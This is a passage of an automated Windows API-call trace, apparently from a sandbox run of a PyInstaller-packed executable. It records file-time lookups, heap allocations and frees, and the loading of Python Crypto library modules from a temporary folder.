lpLocalFileTime=0x9b8b00 | out: lpLocalFileTime=0x9b8b00) returned 1 [0075.880] FileTimeToSystemTime (in: lpFileTime=0x9b8b00, lpSystemTime=0x9b8af0 | out: lpSystemTime=0x9b8af0) returned 1 [0075.880] FileTimeToLocalFileTime (in: lpFileTime=0x9b8ac0, lpLocalFileTime=0x9b8b00 | out: lpLocalFileTime=0x9b8b00) returned 1 [0075.880] FileTimeToSystemTime (in: lpFileTime=0x9b8b00, lpSystemTime=0x9b8af0 | out: lpSystemTime=0x9b8af0) returned 1 [0075.880] CloseHandle (hObject=0x300) returned 1 [0075.901] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9ba018, lpFilePart=0x9ba014 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9ba014*="_file_system.pyc") returned 0x48 [0075.907] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0075.907] GetFileType (hFile=0x300) returned 0x1 [0075.908] GetFileType (hFile=0x300) returned 0x1 [0075.908] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0075.908] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.908] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.908] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.908] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.908] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.908] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.908] CloseHandle (hObject=0x300) returned 1 [0075.908] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0075.909] GetFileType (hFile=0x300) returned 0x1 [0075.909] GetFileType (hFile=0x300) returned 0x1 [0075.909] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0075.909] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0075.909] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0075.909] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0075.909] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0075.909] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0075.909] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0075.909] CloseHandle (hObject=0x300) returned 1 [0075.909] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Random", lpFindFileData=0x9b9d68 | out: lpFindFileData=0x9b9d68*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3137420, ftCreationTime.dwHighDateTime=0x34819d0, ftLastAccessTime.dwLowDateTime=0x3030540, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x34819d0, ftLastWriteTime.dwHighDateTime=0x9b9d98, nFileSizeHigh=0x9b9dac, nFileSizeLow=0x73013d47, dwReserved0=0x9b9da4, dwReserved1=0x0, cFileName="\x8c\x9e\x9b", cAlternateFileName="")) returned 0xffffffff [0075.910] GetLastError () returned 0x2 [0075.910] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Random", nBufferLength=0x104, lpBuffer=0x9b9ea8, lpFilePart=0x9b9d00 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Random", lpFilePart=0x9b9d00*="Random") returned 0x39 [0075.910] GetLastError () returned 0x2 [0075.910] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto", lpFindFileData=0x9b9d68 | out: lpFindFileData=0x9b9d68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd7f4505, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd7f4505, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bef987, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 0x10555e0 [0075.910] FileTimeToLocalFileTime (in: lpFileTime=0x9b9d7c, lpLocalFileTime=0x9b9d4c | out: lpLocalFileTime=0x9b9d4c) returned 1 [0075.910] FileTimeToSystemTime (in: lpFileTime=0x9b9d4c, lpSystemTime=0x9b9d54 | out: lpSystemTime=0x9b9d54) returned 1 [0075.910] FileTimeToLocalFileTime (in: lpFileTime=0x9b9d74, lpLocalFileTime=0x9b9d4c | out: lpLocalFileTime=0x9b9d4c) returned 1 [0075.910] FileTimeToSystemTime (in: lpFileTime=0x9b9d4c, lpSystemTime=0x9b9d54 | out: lpSystemTime=0x9b9d54) returned 1 [0075.910] FileTimeToLocalFileTime (in: lpFileTime=0x9b9d6c, lpLocalFileTime=0x9b9d4c | out: lpLocalFileTime=0x9b9d4c) returned 1 [0075.910] FileTimeToSystemTime (in: lpFileTime=0x9b9d4c, lpSystemTime=0x9b9d54 | out: lpSystemTime=0x9b9d54) returned 1 [0075.910] FindClose (in: hFindFile=0x10555e0 | out: hFindFile=0x10555e0) returned 1 [0075.910] GetLastError () returned 0x2 [0075.910] GetCurrentThreadId () returned 0x9b0 [0075.910] GetCurrentThreadId () returned 0x9b0 [0075.910] GetCurrentThreadId () returned 0x9b0 [0075.910] GetCurrentThreadId () returned 0x9b0 [0075.910] GetCurrentThreadId () returned 0x9b0 [0075.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0075.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.911] GetCurrentThreadId () returned 0x9b0 [0075.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b0068 [0075.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0075.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c848c0 [0075.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84950 [0075.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7c8 [0075.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6e8 [0075.911] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de7c8, Size=0x14) returned 0x3183860 [0075.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6e8 | out: hHeap=0x2ad0000) returned 1 [0075.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84950 | out: hHeap=0x2ad0000) returned 1 [0075.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c848c0 | out: hHeap=0x2ad0000) returned 1 [0075.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0075.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183860 | out: hHeap=0x2ad0000) returned 1 [0075.911] GetCurrentThreadId () returned 0x9b0 [0075.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.912] GetCurrentThreadId () returned 0x9b0 [0075.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0075.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de718 [0075.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de748 [0075.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84710 [0075.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de748 | out: hHeap=0x2ad0000) returned 1 [0075.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de698 [0075.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6e8 [0075.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84710 | out: hHeap=0x2ad0000) returned 1 [0075.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de698 | out: hHeap=0x2ad0000) returned 1 [0075.912] GetLastError () returned 0x2 [0075.912] GetLastError () returned 0x2 [0075.912] GetLastError () returned 0x2 [0075.912] GetLastError () returned 0x2 [0075.912] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9ba018, lpFilePart=0x9ba014 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9ba014*="_file_system.pyc") returned 0x48 [0075.912] GetCurrentThreadId () returned 0x9b0 [0075.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0075.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0075.913] GetCurrentThreadId () returned 0x9b0 [0075.913] GetCurrentThreadId () returned 0x9b0 [0075.913] GetCurrentThreadId () returned 0x9b0 [0075.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6e8 | out: hHeap=0x2ad0000) returned 1 [0075.913] GetCurrentThreadId () returned 0x9b0 [0075.913] GetLastError () returned 0x2 [0075.913] GetCurrentThreadId () returned 0x9b0 [0075.913] GetLastError () returned 0x2 [0075.913] GetCurrentThreadId () returned 0x9b0 [0075.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.913] GetCurrentThreadId () returned 0x9b0 [0075.913] GetLastError () returned 0x2 [0075.913] GetLastError () returned 0x2 [0075.913] GetLastError () returned 0x2 [0075.913] GetLastError () returned 0x2 [0075.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c848c0 | out: hHeap=0x2ad0000) returned 1 [0075.914] LoadLibraryA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\..\\Cipher\\_raw_cbc.pyd") [0075.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x2ba6148 [0075.918] GetCurrentThreadId () returned 0x9b0 [0075.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34b1f08 [0075.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdcc28 [0075.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0075.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c849c8 [0075.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84710 [0075.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de758 [0075.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0075.919] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de758, Size=0x14) returned 0x3183a60 [0075.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0075.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84710 | out: hHeap=0x2ad0000) returned 1 [0075.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c849c8 | out: hHeap=0x2ad0000) returned 1 [0075.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0075.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a60 | out: hHeap=0x2ad0000) returned 1 [0075.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b1f08 | out: hHeap=0x2ad0000) returned 1 [0075.919] GetCurrentThreadId () returned 0x9b0 [0075.919] GetLastError () returned 0x0 [0075.919] GetCurrentThreadId () returned 0x9b0 [0075.919] GetLastError () returned 0x0 [0075.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c848c0 | out: hHeap=0x2ad0000) returned 1 [0075.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x334e3a0 [0075.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334e3a0 | out: hHeap=0x2ad0000) returned 1 [0075.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c847b8 [0075.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c847b8 | out: hHeap=0x2ad0000) returned 1 [0075.920] GetCurrentThreadId () returned 0x9b0 [0075.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84758 [0075.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84758 | out: hHeap=0x2ad0000) returned 1 [0075.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c847e8 [0075.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c847e8 | out: hHeap=0x2ad0000) returned 1 [0075.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c848c0 [0075.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c848c0 | out: hHeap=0x2ad0000) returned 1 [0075.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84758 [0075.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84758 | out: hHeap=0x2ad0000) returned 1 [0075.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84848 [0075.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84848 | out: hHeap=0x2ad0000) returned 1 [0075.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x334e3a0 [0075.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0075.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334e3a0 | out: hHeap=0x2ad0000) returned 1 [0075.921] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262fe0, Size=0x1) returned 0x33de7f8 [0075.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c848c0 [0075.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c848c0 | out: hHeap=0x2ad0000) returned 1 [0075.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84920 [0075.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84920 | out: hHeap=0x2ad0000) returned 1 [0075.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0075.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2cc04b8 [0075.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c847e8 [0075.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.922] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c847e8, Size=0x20) returned 0x3028238 [0075.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.923] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028238, Size=0x40) returned 0x2a19298 [0075.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.924] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19298, Size=0x64) returned 0x2a19818 [0075.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.925] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0x8c) returned 0x2ac0ad8 [0075.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x340f720 | out: hHeap=0x2ad0000) returned 1 [0075.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x340f720 [0075.926] HeapFree (in: hHeap=0x2ad0000, 